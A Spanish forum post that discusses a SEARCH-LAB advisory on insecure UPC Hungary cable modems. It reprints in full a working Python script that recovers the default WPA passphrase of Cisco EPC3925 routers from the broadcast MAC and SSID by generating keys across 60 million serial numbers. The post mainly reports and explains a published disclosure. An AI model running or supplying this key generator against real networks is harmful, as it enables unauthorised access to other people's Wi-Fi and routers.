El libre pensamiento para un internet libre
No estas registrado.
¿UPC se pronuncia upsss? ¿El gulash esta amargo?
[email protected] [email protected] [email protected] se habrán quedado con un muy mal gusto en boca tras leer este estudio de search-lab
Analysis of WiFi-enabled ISP modems de SEARCH-LAB Ltd
El estudio desvela varias brechas severas que afectan los puntos de acceso empleados por la operadora Húngara UPC
UPC Hungría (upc.hu) pertenece al grupo liberty global que se presenta como la primera proveedora de servicio TV + Internet a nivel mundial con 27milones de cliente.
Tengo mis dudas al respecto.
Admitamos que sea cierto; lo que sigue es aún mas escandaloso : Ser la primera empresa del sector y distribuir unos routers tan inseguros... ¡No tiene excusas!
Lo primero que hay que decir es que UPC emplea unos routers malos, de los mas baratos.
Y es a menudo el caso : más barato = más malo esta el firmware con brechas al kilo.
En resumen:
Ubee EVW3226: Se lleva la palma. La frase WPA se rompe en un instante. Un intruso se puede conectar en un instante y luego es un buffet libre, puede entrar en la configuración de administración sin credenciales y hacer lo que quiere. pagina del producto
Compal CH7465LG-LC: Podría haberse llevado la palma. Es una catastrofe igualemente. La diferencia es que no se puede romper la frase WPA por defecto en unos segnudos-minutos. Esto dicho los de search lab recuerdan que no estudiaron mucho su caso (UPS no ha querrido pagarlos), a penas unas horas, y que podría haber una algoritmo "simplón" susceptible de ser encontrado
Technicolor TC7200: Además de tener una contraseña WPA fácil de romper los clientes LAN pueden entrar en la interfaz de configuración sin autenticarse
Hitron CGNV4: Un intruso tendría varios medios para actuar, cómo la inyección de lineas de ordenes...
Cisco EPC3925: Problema de la clave WiFi WPA previsible
La brecha afecta el firmware genérico Cisco EPC3925, ESIP-12-v302r125573-131230c_upc que tenemos en tres modelos sobre cinco
El eSSID por defecto y la contraseña WPA por defecto se generan en base del numero de serie docsis y del bSSID.
En bSSID no es un secreto y se emite en claro
El numero de serie va de 200.000.000 hasta 260.000.000 lo que nos da un máximo de 60 millones de posibilidades.
Es demasiado para la mayoria de las compuatdoras si empelamos el brute force contra un handshake
Pero podemos generar a piñón Essid y llave WPA
Cuando obtenemos una coincidencia entre el eSSID del objetivo y el essid generado es que tenemos una contraseña posible.
En el peor de los casos deberemos gastar unos cincos minutos (con un procesador bueno) para generar todas las llaves posibles (hay varias) y comprobarlas con un ataque por diccionario (no son muchas llaves posibles; cuando lanzamos aircrack-ng obtenemos el resultado enseguida)
La brecha fue desvelada hace unos días atrás y lleva un código python para demostrar y explotar esta debilidad :
Cisco EPC3925 UPC modem/router default passphrase vulnerabilities de Gergely EBERHARDT @ Search Lab
En resumen
El ataque ha sido instantáneo o casi contra los ubee y los technicolor...
El código es este:
import sys
import binascii
import hashlib
import struct
def getVal(v0):
v0 = ord(v0)
return ((((v0<<1)+v0)<<3)+v0)>>6
def genSSID_PSK(mac, serial):
m = hashlib.md5('%s-%s'%(mac,serial)).digest()
ssid = '%02u%02u%02u'%(getVal(m[0]), getVal(m[1]), getVal(m[2]))
psk = ''
for i in range(8):
v0 = ord(m[3+i])
psk += chr(0x41 + (((((v0<<1)+v0)<<2)+v0)>>7))
return (ssid, psk)
def genSSID(mac, serial):
s = '%s-%s'%(mac,serial)
mres = hashlib.md5(s).digest()
v0 = ord(mres[0])
v1 = ((((v0<<1)+v0)<<3)+v0)>>6
v0 = ord(mres[1])
v2 = ((((v0<<1)+v0)<<3)+v0)>>6
v0 = ord(mres[2])
v3 = ((((v0<<1)+v0)<<3)+v0)>>6
ssid = '%02u%02u%02u'%(v1, v2, v3)
psk = ''
for i in range(8):
v0 = ord(mres[3+i])
v3 = ((((v0<<1)+v0)<<2)+v0)>>7
psk += chr(v3+0x41)
return (ssid, psk)
if (len(sys.argv) < 3):
print 'Usage: cisco_psk.py SSID MAC'
print ' Example: cisco_psk.py xxxxxx bc:c8:10:xx:xx:xx'
sys.exit(0)
test_ssid = sys.argv[1]
mac = sys.argv[2]
start = 200000000
for i in xrange(60000000):
serial = '%d'%(i+start)
(ssid, psk) = genSSID(mac, serial)
if (ssid == test_ssid):
print '%s -> %s'%(serial, psk)
De Python no se nada y se me escapan los detalles de las operaciones.
- Se ve que se usa una conversión por md5 usando la mac y el serial.
* En la función "generación SSID - llave" vemos
m = hashlib.md5('%s-%s'%(mac,serial)).digest()
* En la función para generar el SSID por defecto:
mres = hashlib.md5(s).digest()
v0 = ord(mres[0])
- En fin de código podemos ver el rango de seriales comprobados
start = 200000000
for i in xrange(60000000):
serial = '%d'%(i+start)
Desde 200 000 000 hasta 260 000 000
- Acaba con el mecanismo de comprobación en base del eSSID para saber si se ha generado una llave posible o no:
(ssid, psk) = genSSID(mac, serial)
if (ssid == test_ssid):
print '%s -> %s'%(serial, psk)
Creo que es simplemente pillar les 6 dígitos finales del bSSID y añadir el valor del serial antes de pasar a md5 pero no tengo claro del todo esta linea
psk += chr(0x41 + (((((v0<<1)+v0)<<2)+v0)>>7))
Se importa binascii pero no veo dónde se usa... la cosa es que el resultado de la PSK no es un md5 (sino el pass sería en hexadecimal) pero son solo letras mayúsculas
Si alguien con conocimientos en python se pasa por aquí que nos aclare...
Voy a abrir un tema en generadores WPA sobre este generador.
No es que sea necesario porque es muy simple de usar, es más bien para tener lo mano en su sitio para el que busca.
Si sería rumano echaría un ojo a los technicolor que usan los de UPC en Rumanía .
Es el mismo modelo, el mismo firmware (base docsis 3.0) : Es muy que probable que tengan la(s) misma(s) brecha(s).
¡Hasta la próxima brecha!
Desconectado
Tema | Respuestas | Vistas | Ultimo mensaje |
---|---|---|---|
3 | 222 | Hoy 11:15:28 por kcdtv | |
14 | 2426 | 29-06-2022 13:19:48 por kcdtv | |
Error de inicio en entorno gráfico por Hunter310#
|
24 | 15154 | 20-06-2022 12:22:19 por kcdtv |
15 | 2751 | 10-06-2022 09:13:42 por kcdtv | |
0 | 258 | 02-06-2022 10:05:09 por kcdtv |
Ultimo usuario registrado: Mr-robot-Frankie
Usuarios registrados conectados: 0
Invitados conectados: 7
Número total de usuarios registrados: 2,320
Número total de temas: 1,588
Número total de mensajes: 15,147
Atom tema feed - Impulsado por FluxBB